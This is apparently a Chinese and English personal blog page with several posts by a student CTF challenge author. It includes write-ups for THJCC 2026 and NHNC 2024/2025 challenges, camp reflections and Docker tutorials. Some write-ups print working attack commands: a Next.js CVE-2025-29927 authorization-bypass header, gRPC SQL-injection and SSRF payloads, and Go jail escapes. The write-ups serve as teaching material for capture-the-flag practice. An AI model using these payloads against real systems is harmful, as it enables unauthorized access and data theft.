Frank Blog

THJCC CTF 2026 Writeup

Frank Kam — Sun, 22 Feb 2026 00:00:00 GMT

好那今天呢風光明媚風和日麗因爲我以前在唸書的時候我常常覺得很奇怪就是我到學校然後看他們吃什麼早餐都是吃一份蛋餅配一杯奶茶或是一個漢堡配一杯奶茶或是一份蘿蔔糕配一杯奶茶每次吃完都說啊我吃飽了我心裡就想說這真的可以吃飽？因爲你知道我通常早餐我都點3份可能 3個我想說這樣就能吃飽？一定是唬人的嘛我才想到說大家都是要面子的沒有沒有我都帶好幾份去吃那是你嘛你不要臉嘛我說正常的我就想說不行我們一定要做個企劃就是有一天要讓自己的胃滿足大滿足所以今天的企劃就是當總召！

以上改自張家兄弟神片早餐吃到飽，誠如各位所見我當上總召了，這故事留到都 2026 年 2 月了還沒寫的 2025 年度總結來說。

題目原始碼：https://github.com/Frank-Kam/THJCC-CTF-2026

Welcome to THJCC CTF (Welcome)

題敘

In this CTF, unless otherwise specified, the flag format is THJCC{.\*}

我們直接按 F12 然後重新整理，找到題目的封包然後搜尋 THJCC{ 就可以得到 Flag
THJCC{We1c0m3-tO-tHjcC-c7F_2O26}

Las Vegas (Web)

題敘

Lucky 7 7 7

我們進到網站會有一個 pull 按鈕可以按，開 F12 或 Burp 可以看到會 POST 一個類似 /?n=789 之類的數字，所以我們使用 cURL 就可以解了

curl -X POST http://chal.thjcc.org:14514/?n=777

得到
^THJCC\{LUcKy_sEVen_[0-9a-f]{16}\}$

Ear👂(Web)

題敘

[CWE-698](https://cwe.mitre.org/data/definitions/698.html)
> Author: Frank

CWE-698 其實是一個水洞，但通常會造成資訊洩露或 CSRF 這種嚴重的結果，具體的成因就像

<?php
require_once 'config.php';

if (empty($_SESSION['username'])) {
    header('Location: index.php');
 // exit;
 // 如果沒有 Exit 的話就會繼續往下執行底下的程式，像是資料庫或靜態網頁之類的
}
Flag (?

所以我們直接盲猜 admin.php

curl http://chal.thjcc.org:1234/admin.php

可以看到

<!doctype html>
<html>
<head><meta charset="utf-8"><title>Admin Panel</title></head>
<body>
<p>Admin Panel</p>
<p><a href="status.php">Status page</a></p>
<p><a href="image.php">Image</a></p>
<p><a href="system.php">Setting</a></p>
</body>

繼續往 system.php 送的話就有 Flag 了

<!doctype html>
<html>
<head><meta charset="utf-8"><title>Admin Panel</title></head>
<body>
<p>System settings</p>
<p>^THJCC\{[0-9a-f]{16}_U_kNoW-HOw-t0_uSe-EaR\}$</p>
</body>
</html

Happy Cat Jail

題敘

meow ?

題目有給一點點原始碼

package main

import (
	"fmt"
	"unsafe"
)
……

裡面提到 unsafe 這個看起來很危險的東西，從 Go 官網可以看到他的介紹，~~應該蠻明顯這東西有空指針了吧~~，如果要直接硬炸的話可以用

type catInterface struct {
	t uintptr
	v unsafe.Pointer
}

p := unsafe.Pointer(&target)

iface := (*catInterface)(p)

catStr := (*string)(iface.v)

fmt.Println(*catStr)

如果你通靈到 secret 這東西還有一個更短的 Payload - Found By 燒餅

fmt.Println(target.(*secret).flag)
_ = unsafe.Sizeof(0)

以上兩個都可以得到 Flag
^THJCC\{iT'[1-9][a-z][1-9][a-zA-Z][1-9]Sm[1-9]Y_gO[a-zA-Z]!!!!!L[a-z]AnG\}$

btw 我從去年 HITCON ExCTF 結束的時候就有 Go jail 這個想法了，到 2 月初才把程式寫出來，原本打算放白箱的但~~拿去給很多 AI 試都可以 One shot~~ 所以就只留 unsafe 這個提示。~~下一次 NHNC 可能會有 Perl jail 還是 Java jail 之類奇怪的 jail 出現~~

IMAGE? (Misc)

題敘

Check the hex of this image

如果用 Hexed 這種 Hex 編輯器來看的話，可以發現 PNG IEND 後面還有其他內容，後面出現了壓縮檔裡面的檔名，至於爲什麼知道是壓縮檔，~~自己去學吧反正這題的考點只有 PNG Chunk 而已~~，直接 unzip

[frank@Laptop ~]$ unzip IMAGE_Q.zip
Archive:  IMAGE_Q.zip
warning [IMAGE_Q.zip]:  3297649 extra bytes at beginning or within zipfile
  (attempting to process anyway)
   creating: cute/
  inflating: cute/F.png
  inflating: cute/F3.png

可以看到裡面有兩個檔案，點開 F3.png 就有 Flag 了 THJCC{fRierEN-SO_cUTe:)}

TV (Forensics)

題敘

Amazing Sound

檔案其實這蠻明顯是 SSTV 的，GPT 照題目名稱和檔案類型也直接猜中，編碼是 Martin M1，使用 Robot36 可以成功解碼。

Metro (Misc)

題敘

I took this photo at a MRT station in a certain city/county in Taiwan. Please identify which station it is and which floor it was taken on.

Flag format: THJCC{Station Code-Floor} (Case insensitive)

Example: If the station code for Taipei Metro's Shuanglian Station is R12, and the floor is the 1st floor (using American English numbering), the flag would be THJCC{R12-1F}

把圖片拉到過曝可以發現後面的第二月臺的紫色貼紙，臺灣使用紫色系的捷運系統只有桃園捷運了，在 OSINT 照片的時候如果有 Ubike 在附近會非常好用，剛好這張照片有拍到，我們可以去 Ubike 站點地圖尋找 」 這種路口和捷運站的相對位置一樣的站，~~桃園捷運才幾站一下找就有了~~
樓層的部分桃園捷運官網有。
THJCC{A10-3F}

YRSK (Misc)

題敘

Notice RIFF ChunkSize and size limits
Flag format: Case Insensitive, no spaces

檔案 (稍大) 這題其實和 IMAGE 一樣都在考 Chunk，但 WAV 用的是比較通用的 RIFF 模式，RIFF (WAV) Chunk，一樣用 Hex 編輯器可以看到 data 之後多了許多奇怪的 Chunk，用 binwalk 之類的分析一下應該可以發現有 MP3 的蹤跡。
至於 MP3 怎麽藏的和解法就看 PoC

import struct

with open("out.wav", "rb") as f:
    data = f.read()

offset = data.find(b"FLAG")
if offset == -1:
    raise Exception("Err")

size = struct.unpack("<I", data[offset+4:offset+8])[0]
payload = data[offset+8:offset+8+size]

with open("extract.mp3", "wb") as f:
    f.write(payload)

print("Done")

播放輸出出來的 MP3 就可以聽到 Flag 了
THJCC{YRSKITSWONDERFULL0L}

btw 外面那層的音樂其實是電子專輯，音質非常好歐。

ExBaby Shark Master (Forensics)

題敘

Just Search

檔案這題蠻水的

strings THJCC_ExBaby-Shark-Master.pcapng | grep THJCC{

THJCC{1t'S-3Asy*-r1gh7?????}

~~有點後悔出這題~~

Chat

題敘

這是新來的 THJCC 客服機器人，但他好像有一些「祕密」……  
This is the new THJCC customer service bot... but it seems like he’s hiding a little "secret"

提示詞 (使用 GPT 5.2 Auto 模型) 這題其實蠻吃運氣的，只能看我們工人解的參考

總結

我覺得這次當工人的氛圍蠻愉快的，沒有遇到什麼會爭執的事情，~~靶機也沒有像 NHNC 的慘況~~
感謝所有參賽者和工作人員。

如果你有題目或比賽方面的問題可以透過 Footer 的連接聯絡我。

臺師大資安組特選心得

Frank Kam — Sun, 16 Nov 2025 00:00:00 GMT

其他學校的心得可以到 /posts/special 找到

筆試

其實題目算蠻簡單的，大概就是一些網概和一些資訊、資安常識。
內容可能有一些不準確畢竟我記性不好，僅供參考。

Q1

題目：舉出一項攻擊手法、防禦手法，皆要簡述功能、原理。
答案：
攻擊 - SQL Injection，可向網站傳送包含特定字串如：'OR 1=0等讓伺服器返回錯誤訊息，再進行如賬密繞過、匯出和破壞資料庫資料等操作。因爲網站沒有對輸入字串進行過濾，所以可以輸入 SQL 語法進行操作。
防禦 - WAF（網頁應用程式防火牆），可以過濾常見的惡意字串輸入或惡意路徑掃描等，大部分實作方式爲修改網路封包、修改 HTTP 請求內容、反向代理等。

我覺得從原始題意上來看，攻擊和防禦應該是可以寫不相關的技術的，但保險起見我還是寫了有關聯的技術。
花了 30 秒在想這題要挑什麼東西，但小心爲妙所以選了 SQL Injection 和 WAF 這種技術。

Q2

題目：爲什麼改 Port 對增強資訊安全沒用？
答案：因爲攻擊者可以使用如：Nmap、Rustscan 等連接埠掃描工具來知道每個連接埠大致開啓的服務。

Q3

題目：有人錄了電腦的網路封包，儲存成network_traffic.txt檔案，請敘述如何尋找送往10.9.0.8這個網站的賬號密碼
答案：cat network_traffic.txt | grep '10.9.0.8'，即可尋找前往10.9.0.8的封包，視情況增加 grep 參數如：http://, password, pwd等來找到賬號密碼。

面試

總結

HiPAC 2025 心得

Frank Kam — Mon, 03 Nov 2025 00:00:00 GMT

首先感謝 q_nn412, Fishbaby1011, Yoru1005, Kohiro 隊友們在賽前、比賽時的協助

AIS3 2025 心得

Frank Kam — Sat, 20 Sep 2025 00:00:00 GMT

拖了這麼久終於來寫……總的來說充滿了不開心、生氣等負面情緒
一篇從朋友的文章抄了一點、從 AIS3 Discord 群組裡面挖了一些路人的文章拼拼湊湊出來的文章，所以 TL;DR ¯\(ツ)/¯

徵選

原本有打 MyFirst CTF，但是比賽時失常了，導致最後落個 70/9X 的成績。總之去填了徵選，~~甚至還錯過繳交時間~~，最後不知為什麼還錄取了 XD

AIS3

這次因為個人私事，所以在活動時有時候心不在焉。當初 Day0 的時候突然出現了熟悉又陌生的新組員 Chumy 提著一大箱行李進來，仿佛要住上一個學期似的 ~~雖然人家好像真的要住一個學期~~。

說說幾個印象深刻的事情好了

宿舍 11、12 點會熄燈
大家都在卷
一大堆認識的人都有去
熬夜到連續 36 小時沒有睡覺
組員協調好困難

關於宿舍晚上會熄燈這件事我是早有耳聞，但在了解到 SITCON Camp 也在交大宿舍而且有去申請免熄燈的服務(?之後有點生氣，想當然主辦方是要防止我們半夜繼續卷專題而有此對策，但他們也知道根本沒有人因為熄燈而不在半夜卷專題，還不如把燈打開比較不傷眼睛，希望明年能改進這點，我們宿舍則是~~把手機 LED 燈往天花板照~~。
專題這東西我覺得以內容來說很有趣，我們這組在挖 0day，挖呀挖呀挖挖到了兩個，分別是

Apache Airflow 某 DAG 的 SQL Injection
Apache Tomcat RCE

具體漏洞內容可以找方法私訊我。雖然 Airflow 的漏洞找是找到了，但他們的 Vendor 態度非常強硬，認為這個漏洞既然已經要登入後才能觸發了，就應該相信用戶的所有輸入除非他們官方文件建議在那個位置送 SQL Injection 的 Payload，雖然學過資安的都知道無條件相信用戶輸入是件錯誤的事情，但臨近專題發表時間，我們嘗試溝通幾次無果後也放棄繼續與之爭論。BTW 溝通信件的英文文法、意思我和佑丞研擬了非常久，結果導致一路熬夜到天亮沒有睡覺……

還有一個是組員協調的問題，有個組員看起來是個新手，在專題制作的時候時常私下問我需要做什麼，但我那時候有點納悶為啥需要經過我去問，~~我是 Socat 😺 嗎~~，但後來和鯨魚討論過後覺得他或許真的是對自己的實力非常沒把握、社恐，雖然不知道自己了解的對不對，但在隔天開始嘗試多和她說話、教她開源專案可以怎麽挖&有什麼工具輔助，還有讓她多和其他組員相處，比如在會議廳多多討論專題、在十二舍樓下討論之類的，雖然不知道有沒有幫忙到我們組和她本人 (´;ω;`) 但我盡力了。

課程上我最喜歡 Orange 🍊 的課了，生動有趣以外~~還聽了非常多的故事~~。還有帥氣的馬聖豪的課，讓我探索了完全不會的領域 —— Windows 滲透，學到了非常多外面沒人教過的技巧，具體課程內容不太能公開，但可以私訊我討論。

最後再講回專題，我們軟體組是最後一天才上臺報告，而我們是 軟體1 (〒︿〒) 想當然是第一個上臺的簡報大家一起做了，我覺得整體來說不錯，組內不愧有兩個擅長網頁前端的人，讓簡報好看了不少，我負責 Airflow 章節裡面的幾個頁面的文字內容。決定好是我和 Chumy 上臺後，前一天晚上便開始構思怎麽在臺上表達出來&試講，第一次超時了一點點而且不太通順，到後面講得越來越流暢並且可以在 13 分鐘左右，遠低於限制的 15 分鐘，太好了 XD
在最後報告當天，因為是第一組上去的，所以也不知道其他組表現、內容如何，站在臺上面對超過百人的我~~連腿都在抖~~，Airflow 的部分講完後馬上交給 Chumy 講他挖到的 Tomcat，結束之後我才意識到，今年的 AIS3 是真的告一段落了呀。
最後很可惜沒有拿到最佳專題獎，但是在課程、人際關係上學到了不少。

~~只能說今年太卷了呀~~，軟體組發表的時候已經有 29 個 Zeroday

Out of AIS3

雖然之前參加其他活動有去過交大，但在 Day0 拖行李到十二舍的時候，還是覺得這學校怎麽這麼大，而且行李好重 QQ，但有個優點就是餐廳很多，我覺得不算難吃~~但也不算好吃~~，校園感覺很適合我練車，希望未來能在這裡讀書吧。

結語

雖然不開心的時間比較多、壓力好大，但明年還是想來，希望明年的我比現在更有石粒 🪨 了。

非常感謝
伊藤蒼太, 佑丞, Chumy, n1ght0w1 組員們在此次活動方方面面的協助
Vicent55, Ching367436 助教們的協助，在專題制作上學到非常多
ICEDTEA 的所有成員，給予心靈上的支持和協助
特別感謝 Whale.120 🐳 給予的建議和協助

NHNC 2025 Writeup

Frank Kam — Tue, 08 Jul 2025 00:00:00 GMT

Hi I am Frank and this's my Official Writeup

The source code for all challenges of me https://github.com/Frank-Kam/NHNC-2025_Chal

Welcome (Welcome)

Description

##### Welcome to No Hack No CTF 2025. Good luck and have fun !
![](/posts/images/NHNC_2025-1.webp "NHNC{Welcome_Flag_lol}")
</br>

`Hover your mouse over the image !`

<img src="/posts/NHNC_2025-1.webp" alt="NHNC Welcome Flag" width="50" height="50" title="NHNC{Welcome_Flag_lol}"> Just move the mouse and place it on the image to get the flag.

NHNC{Welcome_Flag_lol}

Next Song is 春日影 (Web)

Source Code

Description

![春日影](https://drive.miyago9267.com/d/file/img/mygo/%E7%82%BA%E4%BB%80%E9%BA%BC%E8%A6%81%E6%BC%94%E5%A5%8F%E6%98%A5%E6%97%A5%E5%BD%B1.jpg)
</br>

NextJS Vulnerability at /admin

`Author: Frank`

Visiting /admin will reveal a redirect, then go to Google and search for NextJS Vulnerability payload; you should see many payloads for CVE-2025-29927. Understanding CVE-2025-29927: The Next.js Middleware Authorization Bypass Vulnerability So, just add the following to the HTTP HEADER:

x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware

Then use the payload:

curl -X GET -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" https://???.com/admin

Then get the flag

NHNC{ANon_iS_cUtE_RIGhT?}

Catch The Goose (Web)

Source Code

Description

![Goose](https://www.americanoceans.org/wp-content/uploads/2023/12/goose-vs-duck-1024x768.jpeg)
</br>

👀 secret_flag or user:admin

`Author: Frank`

Public File

server.py

From the third line of the public file, it can be seen that there is gRPC, and on the line 12 , there is an SQL query string without filtering before or after, suggesting that gRPC is used for SQL injection. If you directly test with grpcurl now, it will definitely report an error (because there is no .proto file to define the gRPC connection method) , so we read the gRPC official manual to find the syntax for the .proto file. Then, by examining lines 11 to 21 of the source code, we saw that GetUser returns a UserReply, and the surrounding lines show how username is handled, so we created user.proto accordingly.

syntax = "proto3";

service UserService {
  rpc GetUser (UserRequest) returns (UserReply);
}

message UserRequest {
  string username = 1;
}

message UserReply {
  string data = 1;
}

Finally, based on the challenge description and the SQL query string on line 12, we discovered that in addition to user:admin, there is also a key called secret_flag. Therefore, we constructed the payload accordingly.

grpcurl -plaintext -proto user.proto -d '{"username": "'\'' OR key = '\''secret_flag"}' ???.com:14514 UserService/GetUser

Then get the flag

{
  "data": "NHNC{lETs_cOoK_THe_GoOSE_:speaking_head::speaking_head::speaking_head:}"
}

Let's Cook Some Delicious Goose! (Web)

Source Code

Description

#### The Goose Is Run Awayyyyy!!!
![](https://static.styletc.com/images/cover/25/401925/md-a1e281da945043f7eab9b6dcc1b1ace6.jpg)
</br>
Analyze the packets
</br>

`Author:Frank` </br>
*Ps : The File < 150 MB*
`[https://drive.google.com/file/d/1Vc3IEderqWIBcbDiHzLgx0vP9K15OxUS/view?usp=sharing](https://drive.google.com/file/d/1Vc3IEderqWIBcbDiHzLgx0vP9K15OxUS/view?usp=sharing)`

Public File

Happy_Log.pcapng
fetch.proto
flag_server.py

We noticed that the public files include a .pcapng packet capture file and a .proto file used for gRPC communication. We started by analyzing the packet capture file using Wireshark. Use the filter at the top of Wireshark to filter for gRPC traffic.

grpc

Then, we can see packets like the following:

:method: POST
:scheme: http
:path: /fetch.FetchService/FetchURL
:authority: ???.com:6666
content-type: application/grpc
user-agent: grpcurl/v1.9.3 grpc-go/1.61.0
te: trailers
grpc-accept-encoding: gzip


:status: 200
content-type: application/grpc
grpc-accept-encoding: identity, deflate, gzip

grpc-status: 0
grpc-message:

We can clearly see a gRPC packet sent from the user to the target machine at ???.com:6666. Based on fetch.proto and flag_server.py, we can tell this is an SSRF test. In flag_server.py, it looks like you first need to GET /token and then use the retrieved token to POST to /POST. Finallyyyyy, let's construct the payload. Get token

grpcurl -plaintext -proto fetch.proto -d "{\"url\":\"http://localhost:80/token\",\"method\":\"GET\",\"headers\":{}}" ???.com:6666 fetch.FetchService/FetchURL

Post to /flag

grpcurl -plaintext -proto fetch.proto -d "{\"url\":\"http://localhost:80/flag\",\"method\":\"POST\",\"headers\":{\"Content-Type\":\"application/x-www-form-urlencoded\"},\"body\":\"token=66663333777nejwncc\"}" ???.com:6666 fetch.FetchService/FetchURL

Then get the flag

NHNC{YuMMyeeeE_GOOOd_ChAL_rIGHT}

公民探究期末報告資料來源 & 參考資料

Frank Kam — Sat, 07 Jun 2025 00:00:00 GMT

東西太多所以就放我 Blog 了：）

Docker 基礎教學 Part2

Frank Kam — Sun, 11 May 2025 00:00:00 GMT

如果還沒看過上篇教學的，點這裡

操作 Docker 的方式

~~當然學一種指令最快的方法是<code>man git</code>~~。docker-cli 故名思議是用來操作 Docker 的指令，而個人認為這是最直覺操作 Docker 的方法，當然還有其他方式，在這裡不做贅述，但還是列出常見的方式和學習資源。

常見指令

權限不夠在前面加<code>sudo</code>，或加入到 Docker User Group

ps

ps 在其他軟體的指令很常當做列出OOXX的意思，在 Docker 中也不例外

docker ps

列出目前在跑的所有 Services

docker compose ps

列出當前目錄下用 Compose 啟動的 Services

還沒寫完

資料來源： Docker Docs

系列文章： Part2 Docker 基本指令 Part3 Docker 服務實作 Part4 Dockerfile & Compose 檔案撰寫

在 n8n 遇到 Connection lost 可能的解決方法

Frank Kam — Wed, 30 Apr 2025 00:00:00 GMT

緣起

這幾天在研究 n8n 該如何使用，原本只有架設在 local ，但發現我們社團的主機有好幾臺在空著就架在了那邊

怎麽架的？

我用官方文件的 docker run 來跑， Port 跑在預設的 5678 沒有設Docker Proxy

問題來了

問題來了當我架好之後出現了

原因為何？

按下 F12 看了 Console 之後發現有個 WebSocket 無法連線，推測是因為 WebSocket 沒有被 Proxy 到

解決方法

這裡我附上 Cloudflare Proxy 和 Nginx Proxy 上的解決方法，怕讀者也遇到這種問題

Cloudflare

在網路 -> 打開 WebSocket 選項（HTTP/2也要開）

Nginx

在代理的地方加上這兩行

proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection $connection_upgrade;

Docker 基礎教學 Part1

Frank Kam — Wed, 30 Apr 2025 00:00:00 GMT

因為看到蠻多認識的人，連Docker都不會用，故做此篇

Docker 是什麼？

具體原理和深入介紹請看維基百科，~~懶得看也沒關係~~ 我會說 Docker 就像一間公寓，每個 Containers 都在自己的房間裡做事，公寓外的土地可以當做底層的系統，負責所有 Containers or Services 的 I/O 吞吐

"常見"名詞定義

Containers (容器) -> 可以理解成 Docker 裡的最小單位
Services (服務) -----> 一組容器
Image (鏡像) --------> 類似模板，定義了容器和服務的關係

安裝 Docker

Linux

Ubuntu (全部複製一起執行)

# apt update
sudo apt update && sudo apt upgrade -y

# 移除非官方 Docker
sudo apt remove docker docker-engine docker.io containerd runc -y

# 安裝套件
sudo apt install -y apt-transport-https ca-certificates curl software-properties-common

# 加入 Docker GPG Key
curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo gpg --dearmor -o /usr/share/keyrings/docker-archive-keyring.gpg

# 加入 Docker 官方 source
echo "deb [arch=$(dpkg --print-architecture) signed-by=/usr/share/keyrings/docker-archive-keyring.gpg] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable" | sudo tee /etc/apt/sources.list.d/docker.list > /dev/null

# 更新 source 並安裝 Docker
sudo apt update
sudo apt install -y docker-ce docker-ce-cli containerd.io

# 啟用並啟動 Docker
sudo systemctl enable docker
sudo systemctl start docker

Debian (全部複製一起執行)

# apt update
sudo apt update && sudo apt-get upgrade -y

# 移除非官方 Docker
sudo apt remove -y docker docker-engine docker.io containerd runc

# 安裝套件
sudo apt install -y ca-certificates curl gnupg lsb-release

# 加入 Docker GPG Key
sudo mkdir -m 0755 -p /etc/apt/keyrings
curl -fsSL https://download.docker.com/linux/debian/gpg | sudo gpg --dearmor -o /etc/apt/keyrings/docker.gpg

# 加入 Docker 官方 source
echo "deb [arch=$(dpkg --print-architecture) signed-by=/etc/apt/keyrings/docker.gpg] https://download.docker.com/linux/debian $(lsb_release -cs) stable" | sudo tee /etc/apt/sources.list.d/docker.list > /dev/null

# 更新 source 並安裝 Docker
sudo apt-get update
sudo apt-get install -y docker-ce docker-ce-cli containerd.io docker-buildx-plugin docker-compose-plugin

# 啟用並啟動 Docker
sudo systemctl start docker
sudo systemctl enable docker

Windows (需要WSL2或Hyper-v)

選擇適合的版本下載 然後點開 xxx.exe 一直下一步

macOS 和 FreeBSD 手邊剛好沒有就懶得寫了

測試

┬─[frank@Ub:~]
╰─>$ docker -v
Docker version 28.1.1, build 4eba377

有輸出以上畫面即可

資料來源： Docker Docs

系列文章： Part2 Docker 基本指令 Part3 Docker 服務實作 Part4 Dockerfile & Compose 檔案撰寫

關於我挖Zeroday遇到的鳥事

Frank Kam — Sun, 29 Dec 2024 00:00:00 GMT

title: "關於我挖Zeroday遇到的鳥事" description: "" pubDate: "2024-12-29 00:00:00" category: "info-sec" banner: "@images/posts/school-sec_banner.webp" tags: ["Info-sec"] oldViewCount: 8084 oldKeywords: [""]

我現在應該不能公佈漏洞本身，但值得講的還是很多

我一直都有在挖 Zeroday (下稱 zd )或 CVE ，但這次挖到被某校資訊組找去問話還有叫家長...我蠻有意見的... :relaxed:

原由

第一次通報

我在HITCON ZeroDay通報了一個漏洞~~我被自己 InfoLeak~~ ，有點懶開匿名，而且據我所知<code> HICON 不管有沒有開匿名，被通報者都可以知道通報者的 Email</code> 當然只是聽說，~~畢竟我沒被通報過~~。

漏洞本身是，在某路徑下有幾乎從使用"自主學習"系統以來的全部的計劃簽名檔，有完整家長和學生的姓名和簽名，還有班級座號學號等，基本符合個資法對個資的定義"辨識是誰"。

我在 2024/10/9 號通報，而學校在 2024/11/18 號回覆已修補完成，然而我發現<code>完全沒有修</code>，至於爲什麼呢？資組長後來給我了很扯的回答，在後面會說。

第二次通報

我發現漏洞沒修之後，馬上通報第二次，並附上我在第一次通報那時後用 Gobuster 掃描出來的其他人的檔案。

被約談

事情發生在2024/12/11

當天第一節剛好是他的資訊課，我在上課過了差不多開始了15分鐘聽他跟全班講完今天要做什麼之後。 <code> :man: ：x同學過來一下 :man: ：這個洞是你通報的吼，自主學習那個 我不想說謊，所以就說：是的 :man: ：來來來，你看，你以前辦社團的時候簽得切結書 </code>

<code> :man: ：你自己看，"攻擊和測試brabrabra" 我就說：你看第一行的"在社團中學習到的技能" :man: ：所以你是說這份切結書，對你無效？而且誰知道你是不是在社團學到的？ 我是社團資安組社師，想當然的不會學到，我就說：我是社師我學到什麼？ :man: ：這樣是在強辯 我就說：強辯什麼？白紙黑字在這裡 </code>

他感覺已經到了極點，就帶我去找教官

<code>我在路上說，你看誰傳通報給你的啊 你不用遵守學術網路使用規範嗎? </code>

這裡我沒料到規範已經改過，但我們學校"這時"的網路使用規範是抄原本學術使用規範的

後來在教官那邊，我跟教官解釋一下原由後，他就安排我跟資組長講話。

在那邊吵太多東西了，我找幾個比較重要的部分。他說我的意思是那份切結書對我來說沒用，但我認爲這稍微有點在誘答，我說是"我的本意是規範有在社團學習到有關技能的人，且社團何必規範在外面學到的技能"。還有他說我用工具掃，???工具掃then?差別在哪裡，不知道是不是對法律有什麼誤解，更何況~~改個User-Agent 我不說是用工具誰會知道呢~~。。最重點的是他說，我有請你找洞嗎？我有請你測試嗎，==就是這樣臺灣的個資和網站才常常成爲破口

待續...

NHNC 2024 Writeup

Frank Kam — Sun, 29 Dec 2024 00:00:00 GMT

這篇是從我之前HackMD搬過來的

我剛好是出題者，也負責部分靶機和整個 CTFd 平臺的維護和架設，總的來說蠻好玩的

哥布林保衞部公告(Web)

link 查看原始碼就好了，在註釋裡面 Just check the source code, it's in the comments

Democracy(Web)

link

題目描述: Problem description:

The Republic of Frank National Assembly needs your participation! 
Head over here

提示: hint:

FOSS-Its means Open for what?

index.html source

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>我們來修法</title> <!--flagNH{NC-ItsFake}-->
</head>
<body>
    <h1>我們來修法</h1>
	<h2>Frank共和國-刑法之讀書罪</h2>
    <h2>
		I  讀書者，處五年以下有期徒刑、拘役或一百萬元以下罰金。</br>
		II 犯前項之罪，因而取得國民小學、國民中學或高級中等學校畢業證書者，處三年以上十年以下有期徒刑；取得學士學位或以上證書者，處無期徒刑或七年以上有期徒刑。 </br>
		III 第一項之未遂犯罰之。</br>
		IV 預備犯第一項之罪者，處二年以下有期徒刑。</h2>
    
	<a href="/next.html">
		<button>我要附議！</button>
	</a>  
<script></script>
</body>
</html>

next.html source

<!DOCTYPE html>
<html lang="en">
<head>
    <title></title>
</head>
<body>
    <script>
        (function(_0x1530b2,_0x25eae5){const _0xdd1554=_0x1d5d,_0x42a37d=_0x1530b2();while(!![]){try{const _0x1d1179=parseInt(_0xdd1554(0x154))/0x1*(parseInt(_0xdd1554(0x14f))/0x2)+parseInt(_0xdd1554(0x158))/0x3+parseInt(_0xdd1554(0x14e))/0x4+-parseInt(_0xdd1554(0x150))/0x5+parseInt(_0xdd1554(0x155))/0x6*(parseInt(_0xdd1554(0x14d))/0x7)+parseInt(_0xdd1554(0x157))/0x8*(parseInt(_0xdd1554(0x153))/0x9)+-parseInt(_0xdd1554(0x152))/0xa;if(_0x1d1179===_0x25eae5)break;else _0x42a37d['push'](_0x42a37d['shift']());}catch(_0x295f65){_0x42a37d['push'](_0x42a37d['shift']());}}}(_0x26c6,0x8eacd));function _0x26c6(){const _0x493e29=['3627595ecwUvD','location','24409390imErtQ','1674eJftVF','744XYYQZd','18mJJWtU','https://www.youtube.com/watch?v=dQw4w9WgXcQ&t=0s','47176PbUlsH','1796250tUXBLc','1051442HKnRWV','1936724tfzzCy','3012lhncSA'];_0x26c6=function(){return _0x493e29;};return _0x26c6();}const encryptedFlag=[0xef,0xdd,0xef,0xce,0x176,0x101,0x13d,0x128,0x161,0x7a,0x15e,0xd4,0x128,0x15e,0x170,0xfb,0x140,0x13a,0x13d,0x161,0xc2,0x17c];let flag='';function _0x1d5d(_0x2251e,_0x652fc3){const _0x26c671=_0x26c6();return _0x1d5d=function(_0x1d5dc4,_0x9d9d2d){_0x1d5dc4=_0x1d5dc4-0x14d;let _0x3d0f47=_0x26c671[_0x1d5dc4];return _0x3d0f47;},_0x1d5d(_0x2251e,_0x652fc3);}for(let t=0x0;t<encryptedFlag['length'];t++){const b=(encryptedFlag[t]-0x5)/0x3;flag+=String['fromCharCode'](b);}setTimeout(()=>{const _0x258376=_0x1d5d;window[_0x258376(0x151)]['href']=_0x258376(0x156);},0x1),setTimeout(()=>{console['log'](flag);},0x8);
            //flagNHN{Cfake}
    </script>
</body>
</html>

對上面的提供的 next.html 第8行(最長的)進行解混淆得到: Deobfuscate the provided line 8 (longest) of next.html to obtain:

const encryptedFlag = [
    239,
    221,
    239,
    206,
    374,
    257,
    317,
    296,
    353,
    122,
    350,
    212,
    296,
    350,
    368,
    251,
    320,
    314,
    317,
    353,
    194,
    380
];
let flag = '';
for (let t = 0; t < encryptedFlag.length; t++) {
    const b = (encryptedFlag[t] - 5) / 3;
    flag += String.fromCharCode(b);
}
setTimeout(() => {
    window.location.href = 'https://www.youtube.com/watch?v=dQw4w9WgXcQ&t=0s';
}, 1);
setTimeout(() => {
    console.log(flag);
}, 8);

拿下面那段掉然後看 console.log Remove the following section then check console.log

setTimeout(() => {
    window.location.href = 'https://www.youtube.com/watch?v=dQw4w9WgXcQ&t=0s';
}, 1);

或者直接計算 ASCII Or directly calculate the ASCII

Example:
(380-5)/3 = 125
ASCII 125 = }

This carries a slight touch of malice(Forensics)

題目描述: Problem description:

Identifying and promoting one's brand is a very serious matter
So, what form should it take? :)

提示: hint:

file at this website
and the route is /

在我們CTFd平臺主頁的源碼中檢查一下 (就是網站logo) Check the source code on the homepage of our CTFd platform (the website logo)

<img
  class="img-responsive ctf_logo"
  src="/files/8c857832a86f0f5178a9baf9b04177d8/hahaha.jpg"
  alt="No Hack No CTF"
  height="25"
>

然後就在 strings 裡面 Then, look in the strings

strings filename.jpg | grep NHNC

Frank Blog

THJCC CTF 2026 Writeup

Welcome to THJCC CTF (Welcome)

題敘

Las Vegas (Web)

題敘

Ear👂(Web)

題敘

Happy Cat Jail

題敘

IMAGE? (Misc)

題敘

TV (Forensics)

題敘

Metro (Misc)

題敘

YRSK (Misc)

題敘

ExBaby Shark Master (Forensics)

題敘

Chat

題敘

總結

臺師大資安組特選心得

筆試

Q1

Q2

Q3

面試

總結

HiPAC 2025 心得

AIS3 2025 心得

徵選

AIS3

Out of AIS3

結語

NHNC 2025 Writeup

Welcome (Welcome)

Description

Next Song is 春日影 (Web)

Source Code

Description

Catch The Goose (Web)

Source Code

Description

Public File

Let's Cook Some Delicious Goose! (Web)

Source Code

Description

Public File

公民探究期末報告 資料來源 & 參考資料

東西太多所以就放我 Blog 了 ：）

Docker 基礎教學 Part2

操作 Docker 的方式

常見指令

ps

在 n8n 遇到 Connection lost 可能的解決方法

緣起

怎麽架的？

問題來了

原因為何？

解決方法

Cloudflare

Nginx

Docker 基礎教學 Part1

Docker 是什麼？

"常見"名詞定義

安裝 Docker

Linux

Ubuntu (全部複製一起執行)

Debian (全部複製一起執行)

Windows (需要WSL2或Hyper-v)

測試

關於我挖Zeroday遇到的鳥事

